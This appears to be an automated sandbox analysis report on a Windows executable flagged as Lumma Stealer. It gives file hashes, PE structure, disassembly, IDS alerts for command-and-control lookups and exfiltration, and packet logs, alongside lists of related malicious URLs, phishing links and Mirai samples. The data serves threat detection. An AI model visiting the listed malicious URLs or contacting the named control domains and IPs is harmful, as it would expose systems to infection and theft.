	https://track.samsupport.jmsend.com/z.z?l=aHR0cHM6Ly9zYW1zdXBwb3J0cy1jb20uam1haWxyb3V0ZS5uZXQveC91P3U9ZWJlNTI4YmMtYTNjMS00NjI0LWFmZjEtYzcwNDJmMjczZWIw&r=14771356625&d=20437066&p=1&t=h&h=40dfe9be3647ce867f619b07dd91c655	Get hash	malicious	Unknown	Browse	104.248.15.35
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	138.69.143.193
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	64.225.24.108
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	68.183.178.14
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	134.123.5.235
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	165.22.66.232
	http://jonotarmot.com/dcs/ms_doc.html	Get hash	malicious	HTMLPhisher	Browse	134.209.237.210
CLOUDFLARENETUS	https://us-east-2.protection.sophos.com/?d=purogosouls.github.io&u=aHR0cHM6Ly9wdXJvZ29zb3Vscy5naXRodWIuaW8vNjRkczZmNHM5ZDRmODlzZDRzZjQ2c2Q0ZjYv&i=NWQ0M2E1N2M3M2U5MzQxMGM1NjBhNmQ1&t=dEtlN04wQWZmZ0hqZlpiZEYwVXZ4NHFvc2NQNGtsUWl4Unlndk5helZOaz0=&h=356f16f6a39049efa5b305c7477e094a&s=AVNPUEhUT0NFTkNSWVBUSVZaHP6eDnex344kFPbGkNGwPXEfGJHtcvdIV0gRc1_JzA%20us-east-2.protection.sophos.com	Get hash	malicious	HTMLPhisher	Browse	104.21.49.70
	Laurier Partners Proposal.eml	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	Dec 2024_12192924_Image.pdf	Get hash	malicious	HTMLPhisher	Browse	104.21.49.70
	http://senalongley.com	Get hash	malicious	Unknown	Browse	104.21.96.47
	https://f.io/nWWUxvn6	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	c9toH15OT0.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	104.21.23.76
	Executed_Innocap-#81(Final.pdf	Get hash	malicious	Unknown	Browse	104.21.11.54
	https://pass-ga.com/	Get hash	malicious	Unknown	Browse	1.1.1.1
	http://supplytic.ca/chuu/wpia/posha/sf_rand_string_mixed(24)/terence.tinnelly@innocapglobal.com	Get hash	malicious	Unknown	Browse	172.67.215.242

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	104.21.66.86 23.55.153.106 178.62.201.34
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	104.21.66.86 23.55.153.106 178.62.201.34
	hubus.exe	Get hash	malicious	LummaC, PureLog Stealer, zgRAT	Browse	104.21.66.86 23.55.153.106 178.62.201.34
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse	104.21.66.86 23.55.153.106 178.62.201.34
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	104.21.66.86 23.55.153.106 178.62.201.34
	mirabon.msi	Get hash	malicious	BruteRatel, Latrodectus	Browse	104.21.66.86 23.55.153.106 178.62.201.34
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	104.21.66.86 23.55.153.106 178.62.201.34
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	104.21.66.86 23.55.153.106 178.62.201.34
	Svcrhpjadgyclc.cmd	Get hash	malicious	DBatLoader	Browse	104.21.66.86 23.55.153.106 178.62.201.34
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	104.21.66.86 23.55.153.106 178.62.201.34

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.808597434734726
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	8ZVMneG.exe
File size:	810'496 bytes
MD5:	e8af4d0d0b47ac68d762b7f288ae8e6e
SHA1:	1d65f31526cc20ab41d6b1625d6674d7f13e326c
SHA256:	b83449768e7af68867c8bc42b19ff012722d88ea66aef69df48661e63e0eb15e
SHA512:	80fad90314ff639f538a72c5e4ca2bf9ae52b9309caa7cd6f87d61791505bb3612b7f3190ab9b67348c5d71f4d29bb9d101e3f66d525eb9b5e2060a10b2d187a
SSDEEP:	24576:grtEhokkSG4bPWQ8C8z3zcB49CNPWQ8C8z3zcB49Cx:grGhokkSG4bPWQv8z3BYNPWQv8z3BYx
TLSH:	00050101B0408177D83B257A59F4EBBA9A3EF8700F7169DB57A81E79CB305C19B31B26
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....^g.........."......f........................@.......................................@.....................................P..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x40c312
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, TERMINAL_SERVER_AWARE
Time Stamp:	0x675EBBFA [Sun Dec 15 11:22:34 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	49250672a2ab6e8bdde5f4e329392300

Entrypoint Preview

Instruction
call 00007FB960CCCB4Ah
jmp 00007FB960CCC9B9h
mov ecx, dword ptr [00432840h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007FB960CCCB46h
test esi, ecx
jne 00007FB960CCCB68h
call 00007FB960CCCB71h
mov ecx, eax
cmp ecx, edi
jne 00007FB960CCCB49h
mov ecx, BB40E64Fh
jmp 00007FB960CCCB50h
test esi, ecx
jne 00007FB960CCCB4Ch
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [00432840h], ecx
not ecx
pop edi
mov dword ptr [00432880h], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
lea eax, dword ptr [ebp-0Ch]
xorps xmm0, xmm0
push eax
movlpd qword ptr [ebp-0Ch], xmm0
call dword ptr [00430920h]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [004308D4h]
xor dword ptr [ebp-04h], eax
call dword ptr [004308D0h]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [00430968h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 00433D60h
call dword ptr [00430940h]
ret
push 00030000h
push 00010000h
push 00000000h
call 00007FB960CD3882h
add esp, 0Ch

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x30694	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x37000	0xe8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x38000	0x1c78	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x2cb78	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x28ff8	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x30860	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2646d	0x26600	1cb7d0c9464ff9128ba37efaba3a0910	False	0.5475111970684039	data	6.556524326867543	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x28000	0x9bec	0x9c00	878d385b80bbd700cbb2c5199eea38b8	False	0.43246694711538464	data	4.997055879664181	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x32000	0x252c	0x1600	a99215662023900c738cb0230ba36a9a	False	0.40873579545454547	data	4.766185881298672	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CODE	0x35000	0xef4	0x1000	540c3f0f86009f36fac5556f91f62d2a	False	0.498291015625	data	5.7055594939540075	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.tls	0x36000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x37000	0xe8	0x200	a6b9bc0f9a7419955ff68c6924c37c42	False	0.306640625	data	2.344915704357875	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x38000	0x1c78	0x1e00	d59be9c629a3697e2f595ead5e7c7371	False	0.7571614583333334	data	6.452492512245182	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.bss	0x3a000	0x48600	0x48600	7129d7a296b0c9654e910d00f19fdcff	False	1.0003407005613125	data	7.999309833911333	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x83000	0x48600	0x48600	7129d7a296b0c9654e910d00f19fdcff	False	1.0003407005613125	data	7.999309833911333	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x37060	0x87	XML 1.0 document, ASCII text	English	United States	0.8222222222222222

Imports

DLL	Import
ADVAPI32.dll	CryptContextAddRef
KERNEL32.dll	AcquireSRWLockExclusive, CloseHandle, CompareStringW, CreateFileW, CreateThread, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, EnumSystemLocalesW, ExitProcess, ExitThread, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, FreeLibraryAndExitThread, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetExitCodeThread, GetFileSize, GetFileSizeEx, GetFileType, GetLastError, GetLocaleInfoW, GetModuleFileNameA, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, GetUserDefaultLCID, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, IsValidLocale, LCMapStringEx, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadConsoleW, ReadFile, ReleaseSRWLockExclusive, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, SleepConditionVariableSRW, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, TryAcquireSRWLockExclusive, UnhandledExceptionFilter, WaitForSingleObjectEx, WakeAllConditionVariable, WideCharToMultiByte, WriteConsoleW, WriteFile
USER32.dll	DefWindowProcW, GetMessageW, RegisterClassW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-20T07:04:01.704512+0100	2058212	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bellflamre .click)	1	192.168.2.6	64563	1.1.1.1	53	UDP
2024-12-20T07:04:02.024946+0100	2058222	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (immureprech .biz)	1	192.168.2.6	58022	1.1.1.1	53	UDP
2024-12-20T07:04:03.018352+0100	2058222	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (immureprech .biz)	1	192.168.2.6	58022	1.1.1.1	53	UDP
2024-12-20T07:04:04.762697+0100	2058223	ET MALWARE Observed Win32/Lumma Stealer Related Domain (immureprech .biz in TLS SNI)	1	192.168.2.6	49708	178.62.201.34	443	TCP
2024-12-20T07:04:04.762697+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49708	178.62.201.34	443	TCP
2024-12-20T07:04:04.765168+0100	2822521	ETPRO MALWARE Malicious SSL Certificate Detected (Linux.Rex Scanner)	1	178.62.201.34	443	192.168.2.6	49708	TCP
2024-12-20T07:04:05.330048+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49708	178.62.201.34	443	TCP
2024-12-20T07:04:05.330048+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49708	178.62.201.34	443	TCP
2024-12-20T07:04:05.333755+0100	2058214	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (deafeninggeh .biz)	1	192.168.2.6	51110	1.1.1.1	53	UDP
2024-12-20T07:04:06.343594+0100	2058214	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (deafeninggeh .biz)	1	192.168.2.6	51110	1.1.1.1	53	UDP
2024-12-20T07:04:08.073287+0100	2058215	ET MALWARE Observed Win32/Lumma Stealer Related Domain (deafeninggeh .biz in TLS SNI)	1	192.168.2.6	49710	178.62.201.34	443	TCP
2024-12-20T07:04:08.073287+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49710	178.62.201.34	443	TCP
2024-12-20T07:04:08.074752+0100	2822521	ETPRO MALWARE Malicious SSL Certificate Detected (Linux.Rex Scanner)	1	178.62.201.34	443	192.168.2.6	49710	TCP
2024-12-20T07:04:08.643870+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49710	178.62.201.34	443	TCP
2024-12-20T07:04:08.643870+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49710	178.62.201.34	443	TCP
2024-12-20T07:04:08.719711+0100	2058220	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (effecterectz .xyz)	1	192.168.2.6	59800	1.1.1.1	53	UDP
2024-12-20T07:04:09.024667+0100	2058218	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (diffuculttan .xyz)	1	192.168.2.6	49664	1.1.1.1	53	UDP
2024-12-20T07:04:09.249702+0100	2058216	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (debonairnukk .xyz)	1	192.168.2.6	61345	1.1.1.1	53	UDP
2024-12-20T07:04:09.472443+0100	2058236	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wrathful-jammy .cyou)	1	192.168.2.6	61530	1.1.1.1	53	UDP
2024-12-20T07:04:09.691347+0100	2058210	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (awake-weaves .cyou)	1	192.168.2.6	55633	1.1.1.1	53	UDP
2024-12-20T07:04:09.910772+0100	2058226	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sordid-snaked .cyou)	1	192.168.2.6	54862	1.1.1.1	53	UDP
2024-12-20T07:04:11.747273+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49721	23.55.153.106	443	TCP
2024-12-20T07:04:12.667635+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	49721	23.55.153.106	443	TCP
2024-12-20T07:04:14.477255+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49730	104.21.66.86	443	TCP
2024-12-20T07:04:15.538055+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49730	104.21.66.86	443	TCP
2024-12-20T07:04:15.538055+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49730	104.21.66.86	443	TCP
2024-12-20T07:04:16.977941+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49737	104.21.66.86	443	TCP
2024-12-20T07:04:17.761204+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49737	104.21.66.86	443	TCP
2024-12-20T07:04:17.761204+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49737	104.21.66.86	443	TCP
2024-12-20T07:04:20.251562+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49748	104.21.66.86	443	TCP
2024-12-20T07:04:22.408919+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49754	104.21.66.86	443	TCP
2024-12-20T07:04:24.648073+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49760	104.21.66.86	443	TCP
2024-12-20T07:04:27.199008+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49765	104.21.66.86	443	TCP
2024-12-20T07:04:27.960398+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49765	104.21.66.86	443	TCP
2024-12-20T07:04:29.656807+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49771	104.21.66.86	443	TCP
2024-12-20T07:04:33.207297+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49781	104.21.66.86	443	TCP
2024-12-20T07:04:33.968807+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49781	104.21.66.86	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 07:04:03.290503979 CET	49708	443	192.168.2.6	178.62.201.34
Dec 20, 2024 07:04:03.290558100 CET	443	49708	178.62.201.34	192.168.2.6
Dec 20, 2024 07:04:03.290656090 CET	49708	443	192.168.2.6	178.62.201.34
Dec 20, 2024 07:04:03.293529987 CET	49708	443	192.168.2.6	178.62.201.34
Dec 20, 2024 07:04:03.293553114 CET	443	49708	178.62.201.34	192.168.2.6
Dec 20, 2024 07:04:04.762475967 CET	443	49708	178.62.201.34	192.168.2.6
Dec 20, 2024 07:04:04.762696981 CET	49708	443	192.168.2.6	178.62.201.34
Dec 20, 2024 07:04:04.765115023 CET	49708	443	192.168.2.6	178.62.201.34
Dec 20, 2024 07:04:04.765167952 CET	443	49708	178.62.201.34	192.168.2.6
Dec 20, 2024 07:04:04.765552044 CET	443	49708	178.62.201.34	192.168.2.6
Dec 20, 2024 07:04:04.812093973 CET	49708	443	192.168.2.6	178.62.201.34
Dec 20, 2024 07:04:04.814099073 CET	49708	443	192.168.2.6	178.62.201.34
Dec 20, 2024 07:04:04.814121008 CET	49708	443	192.168.2.6	178.62.201.34
Dec 20, 2024 07:04:04.814196110 CET	443	49708	178.62.201.34	192.168.2.6
Dec 20, 2024 07:04:05.329894066 CET	443	49708	178.62.201.34	192.168.2.6
Dec 20, 2024 07:04:05.330112934 CET	443	49708	178.62.201.34	192.168.2.6
Dec 20, 2024 07:04:05.330234051 CET	49708	443	192.168.2.6	178.62.201.34
Dec 20, 2024 07:04:05.331279039 CET	49708	443	192.168.2.6	178.62.201.34
Dec 20, 2024 07:04:05.331316948 CET	443	49708	178.62.201.34	192.168.2.6
Dec 20, 2024 07:04:06.609517097 CET	49710	443	192.168.2.6	178.62.201.34
Dec 20, 2024 07:04:06.609608889 CET	443	49710	178.62.201.34	192.168.2.6
Dec 20, 2024 07:04:06.609695911 CET	49710	443	192.168.2.6	178.62.201.34
Dec 20, 2024 07:04:06.610052109 CET	49710	443	192.168.2.6	178.62.201.34
Dec 20, 2024 07:04:06.610090017 CET	443	49710	178.62.201.34	192.168.2.6
Dec 20, 2024 07:04:08.073086977 CET	443	49710	178.62.201.34	192.168.2.6
Dec 20, 2024 07:04:08.073287010 CET	49710	443	192.168.2.6	178.62.201.34
Dec 20, 2024 07:04:08.074731112 CET	49710	443	192.168.2.6	178.62.201.34
Dec 20, 2024 07:04:08.074752092 CET	443	49710	178.62.201.34	192.168.2.6
Dec 20, 2024 07:04:08.075119019 CET	443	49710	178.62.201.34	192.168.2.6
Dec 20, 2024 07:04:08.076255083 CET	49710	443	192.168.2.6	178.62.201.34
Dec 20, 2024 07:04:08.076284885 CET	49710	443	192.168.2.6	178.62.201.34
Dec 20, 2024 07:04:08.076344967 CET	443	49710	178.62.201.34	192.168.2.6
Dec 20, 2024 07:04:08.644010067 CET	443	49710	178.62.201.34	192.168.2.6
Dec 20, 2024 07:04:08.644227028 CET	443	49710	178.62.201.34	192.168.2.6
Dec 20, 2024 07:04:08.644295931 CET	49710	443	192.168.2.6	178.62.201.34
Dec 20, 2024 07:04:08.654263020 CET	49710	443	192.168.2.6	178.62.201.34
Dec 20, 2024 07:04:08.654324055 CET	443	49710	178.62.201.34	192.168.2.6
Dec 20, 2024 07:04:08.654357910 CET	49710	443	192.168.2.6	178.62.201.34
Dec 20, 2024 07:04:08.654373884 CET	443	49710	178.62.201.34	192.168.2.6
Dec 20, 2024 07:04:10.356334925 CET	49721	443	192.168.2.6	23.55.153.106
Dec 20, 2024 07:04:10.356393099 CET	443	49721	23.55.153.106	192.168.2.6
Dec 20, 2024 07:04:10.356465101 CET	49721	443	192.168.2.6	23.55.153.106
Dec 20, 2024 07:04:10.356794119 CET	49721	443	192.168.2.6	23.55.153.106
Dec 20, 2024 07:04:10.356806993 CET	443	49721	23.55.153.106	192.168.2.6
Dec 20, 2024 07:04:11.747200966 CET	443	49721	23.55.153.106	192.168.2.6
Dec 20, 2024 07:04:11.747272968 CET	49721	443	192.168.2.6	23.55.153.106
Dec 20, 2024 07:04:11.748981953 CET	49721	443	192.168.2.6	23.55.153.106
Dec 20, 2024 07:04:11.748991013 CET	443	49721	23.55.153.106	192.168.2.6
Dec 20, 2024 07:04:11.749238014 CET	443	49721	23.55.153.106	192.168.2.6
Dec 20, 2024 07:04:11.750597954 CET	49721	443	192.168.2.6	23.55.153.106
Dec 20, 2024 07:04:11.795335054 CET	443	49721	23.55.153.106	192.168.2.6
Dec 20, 2024 07:04:12.667782068 CET	443	49721	23.55.153.106	192.168.2.6
Dec 20, 2024 07:04:12.667844057 CET	49721	443	192.168.2.6	23.55.153.106
Dec 20, 2024 07:04:12.667857885 CET	443	49721	23.55.153.106	192.168.2.6
Dec 20, 2024 07:04:12.667942047 CET	443	49721	23.55.153.106	192.168.2.6
Dec 20, 2024 07:04:12.667968988 CET	49721	443	192.168.2.6	23.55.153.106
Dec 20, 2024 07:04:12.667987108 CET	443	49721	23.55.153.106	192.168.2.6
Dec 20, 2024 07:04:12.668036938 CET	49721	443	192.168.2.6	23.55.153.106
Dec 20, 2024 07:04:12.668045044 CET	443	49721	23.55.153.106	192.168.2.6
Dec 20, 2024 07:04:12.718352079 CET	49721	443	192.168.2.6	23.55.153.106
Dec 20, 2024 07:04:12.846880913 CET	443	49721	23.55.153.106	192.168.2.6
Dec 20, 2024 07:04:12.846900940 CET	443	49721	23.55.153.106	192.168.2.6
Dec 20, 2024 07:04:12.846966028 CET	49721	443	192.168.2.6	23.55.153.106
Dec 20, 2024 07:04:12.846996069 CET	443	49721	23.55.153.106	192.168.2.6
Dec 20, 2024 07:04:12.847038984 CET	443	49721	23.55.153.106	192.168.2.6
Dec 20, 2024 07:04:12.847069025 CET	49721	443	192.168.2.6	23.55.153.106
Dec 20, 2024 07:04:12.885117054 CET	443	49721	23.55.153.106	192.168.2.6
Dec 20, 2024 07:04:12.885179996 CET	443	49721	23.55.153.106	192.168.2.6
Dec 20, 2024 07:04:12.885200977 CET	49721	443	192.168.2.6	23.55.153.106
Dec 20, 2024 07:04:12.885210991 CET	443	49721	23.55.153.106	192.168.2.6
Dec 20, 2024 07:04:12.885245085 CET	49721	443	192.168.2.6	23.55.153.106
Dec 20, 2024 07:04:12.885315895 CET	443	49721	23.55.153.106	192.168.2.6
Dec 20, 2024 07:04:12.885351896 CET	49721	443	192.168.2.6	23.55.153.106
Dec 20, 2024 07:04:12.885370970 CET	443	49721	23.55.153.106	192.168.2.6
Dec 20, 2024 07:04:12.885380983 CET	49721	443	192.168.2.6	23.55.153.106
Dec 20, 2024 07:04:12.885385990 CET	443	49721	23.55.153.106	192.168.2.6
Dec 20, 2024 07:04:12.885401964 CET	49721	443	192.168.2.6	23.55.153.106
Dec 20, 2024 07:04:12.885406971 CET	443	49721	23.55.153.106	192.168.2.6
Dec 20, 2024 07:04:13.123809099 CET	49730	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:13.123850107 CET	443	49730	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:13.123931885 CET	49730	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:13.124195099 CET	49730	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:13.124207973 CET	443	49730	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:14.477176905 CET	443	49730	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:14.477255106 CET	49730	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:14.483346939 CET	49730	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:14.483357906 CET	443	49730	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:14.483789921 CET	443	49730	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:14.486130953 CET	49730	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:14.486260891 CET	49730	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:14.486289978 CET	443	49730	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:15.538127899 CET	443	49730	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:15.538378000 CET	443	49730	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:15.538487911 CET	49730	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:15.730216980 CET	49730	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:15.730216980 CET	49730	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:15.730243921 CET	443	49730	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:15.730251074 CET	443	49730	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:15.757874966 CET	49737	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:15.757961988 CET	443	49737	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:15.758060932 CET	49737	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:15.758395910 CET	49737	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:15.758433104 CET	443	49737	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:16.977849960 CET	443	49737	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:16.977941036 CET	49737	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:16.979099035 CET	49737	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:16.979131937 CET	443	49737	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:16.979480028 CET	443	49737	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:16.980643988 CET	49737	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:16.980701923 CET	49737	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:16.980736017 CET	443	49737	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:17.761269093 CET	443	49737	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:17.761409998 CET	443	49737	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:17.761467934 CET	49737	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:17.761502028 CET	443	49737	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:17.761601925 CET	443	49737	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:17.761693001 CET	443	49737	104.21.66.86	192.168.2.6
